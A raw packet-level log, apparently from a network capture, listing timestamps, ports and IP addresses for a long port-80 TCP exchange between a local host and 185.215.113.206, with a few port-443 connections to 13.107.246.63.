Nov 25, 2024 07:53:47.626823902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.626852036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.626882076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.627799034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.627842903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.627938986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.628371000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.628854990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.628925085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.628968954 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.629012108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.629941940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.629992962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.630044937 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.630219936 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.630976915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.631027937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.631144047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.631227970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.632039070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.632102966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.632148981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.633088112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.633151054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.633157015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.633193016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.634243011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.634315968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.634360075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.634397984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.635190010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.635241985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.635251999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.635274887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.636257887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.636301994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.636315107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.636337042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.637315035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.637363911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.637392998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.637428999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.638339043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.638391018 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.638504982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.638643980 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.639429092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.639493942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.639518976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.639650106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.640465021 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.640526056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.640528917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.640567064 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.641505003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.641566992 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.641601086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.641639948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.642576933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.642631054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.642666101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.642729998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.643647909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.643745899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.643807888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.643851995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.644701004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.644751072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.644805908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.644841909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.645772934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.645826101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.645843983 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.645884991 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.646792889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.646816015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.646858931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.647845984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.647896051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.647914886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.648134947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.648894072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.649029016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.649075031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.649960041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.650023937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.650101900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.650255919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.651017904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.651084900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.651123047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.651160955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.652075052 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.652096033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.652139902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.652170897 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.653172970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.653228045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.653238058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.653273106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.654187918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.654257059 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.654263973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.654304028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.655230999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.655277014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.655467033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.655523062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.656352043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.656408072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.656482935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.656541109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.657376051 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.657434940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.657494068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.657680988 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.658402920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.658453941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.658464909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.658504963 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.659435034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.659478903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.659523010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.659564972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.660490990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.660545111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.660635948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.660729885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.661554098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.661612988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.661626101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.661653996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.662580013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.662638903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.662708044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.662749052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.663687944 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.663701057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.663774967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.663774967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.664685011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.664700031 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.664742947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.664774895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.665617943 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.665673971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.742692947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.742747068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.742779970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.743143082 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.743172884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.743217945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.743271112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.743309021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.744080067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.744133949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.744198084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.744359970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.745018005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.745100021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.745130062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.745179892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.746030092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.746083975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.746251106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.746633053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.746949911 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.747001886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.747080088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.747221947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.747896910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.747940063 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.747983932 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.748030901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.795408964 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.795582056 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.795672894 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.795842886 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.795862913 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.795875072 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.795881033 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.798984051 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.799022913 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.799102068 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.799245119 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.799256086 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.816874027 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.816982031 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.817044020 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.817297935 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.817315102 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.819142103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.819211006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.819308996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.819461107 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.819504023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.819559097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.819680929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.820342064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.820394039 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.820436001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.820666075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.821094990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.821134090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.821161985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.821199894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.821933985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.821976900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.822041035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.822077036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.822783947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.822818995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.822846889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.822885990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.823519945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.823560953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.823625088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.823661089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.824341059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.824383020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.824429035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.824461937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.825146914 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.825196028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.825263023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.825299978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.825951099 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.826028109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.826073885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.826807022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.826854944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.826894999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.826937914 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.827605009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.827647924 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.827714920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.827753067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.828416109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.828458071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.828475952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.828514099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.829226017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.829266071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.829281092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.829318047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.830033064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.830099106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.830137968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.830596924 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.830642939 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.830730915 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.830847979 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.830905914 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.830941916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.830987930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.831685066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.831733942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.831743002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.831770897 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.832027912 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.832046032 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.832484007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.832530022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.832552910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.832571030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.833298922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.833395004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.833400011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.833467007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.834112883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.834168911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.834191084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.834287882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.834919930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.834978104 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.835129023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.835721970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.835771084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.835772038 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.835817099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.836549997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.836605072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.836630106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.836666107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.837356091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.837409019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.837590933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.837651014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.838202953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.838223934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.838259935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.838274002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.838989019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.839118004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.839169025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.839780092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.839832067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.839837074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.839876890 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.840599060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.840645075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.840704918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.840743065 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.841399908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.841515064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.841552019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.842217922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.842263937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.842303991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.842366934 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.843029976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.843077898 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.843153000 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.843194008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.843878984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.843940973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.843965054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.844012022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.844738007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.844758034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.844784021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.844801903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.845472097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.845556021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.845645905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.845690012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.846287012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.846334934 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.846339941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.846379995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.847107887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.847147942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.847196102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.847239017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.847910881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.847969055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.848056078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.848103046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.848753929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.848814011 CET	49825	80	192.168.2.6	185.215.113.206
